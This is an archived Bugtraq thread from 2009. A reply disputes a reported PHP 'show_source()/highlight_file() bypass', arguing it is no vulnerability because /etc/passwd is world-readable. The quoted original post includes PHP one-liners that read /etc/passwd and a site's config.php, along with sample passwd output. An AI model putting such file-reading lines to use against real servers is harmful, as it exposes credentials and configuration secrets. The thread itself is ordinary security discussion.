Bugtraq mailing list archives
Re: php 4.x php5.2.x all "show_source()" ,"highlight_file()" bypass‏
From: Slack Traq <slacktraq () yahoo com>
Date: Tue, 6 Jan 2009 04:36:13 -0800 (PST)
There is no bug so no exploit can exist. File /etc/passwd is readable by any user (inside PHP with safe_mode disabled also) as it doesn't contain very sensitive information such as user passwords. Double check what are you posting before actually doing it please. Regards --- On Sun, 1/4/09, l1un () hotmail com <l1un () hotmail com> wrote:
From: l1un () hotmail com <l1un () hotmail com> Subject: php 4.x php5.2.x all "show_source()" ,"highlight_file()" bypass‏ To: bugtraq () securityfocus com Date: Sunday, January 4, 2009, 11:39 AM Ahthoer:Super-Crystal www.arab4services.net safe_mode off (tested) <? show_source ('/etc/passwd'); ?> Example exploit: <? show_source ('/home/user/public_html/config.php'); ?> ----------------------------- highlight_file() <? highlight_file ("/etc/passwd"); ?> exploit !!! <code><span style="color: #000000"> root:x:0:0:root:/root:/bin/bash<br />bin:x:1:1:bin:/bin:/sbin/nologin<br />daemon:x:2:2:daemon:/sbin:/sbin/nologin<br />adm:x:3:4:adm:/var/adm:/sbin/nologin<br />lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin<br />sync:x:5:0:sync:/sbin:/bin/sync<br />shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown<br />halt:x:7:0:halt:/sbin:/sbin/halt<br />mail:x:8:12:mail:/var/spool/mail:/sbin/nologin<br />news:x:9:13:news:/etc/news:<br />uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin<br />operator:x:11:0:operator:/root:/sbin/nologin<br />games:x:12:100:games:/usr/games:/sbin/nologin<br />gopher:x:13:30:gopher:/var/gopher:/sbin/nologin<br />ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin<br />nobody:x:99:99:Nobody:/:/sbin/nologin<br />dbus:x:81:81:System message bus:/:/sbin/nologin<br :) greetz:php.net! th4nx securityfocus
Current thread:
- php 4.x php5.2.x all "show_source()" ,"highlight_file()" bypass‏ l1un (Jan 05)
- Re: php 4.x php5.2.x all "show_source()" ,"highlight_file()" bypass‏ Slack Traq (Jan 06)
- <Possible follow-ups>
- Re: php 4.x php5.2.x all "show_source()" ,"highlight_file()" bypass‏ a (Jan 05)
- Re: php 4.x php5.2.x all "show_source()" ,"highlight_file()" bypass‏ faze0r (Jan 05)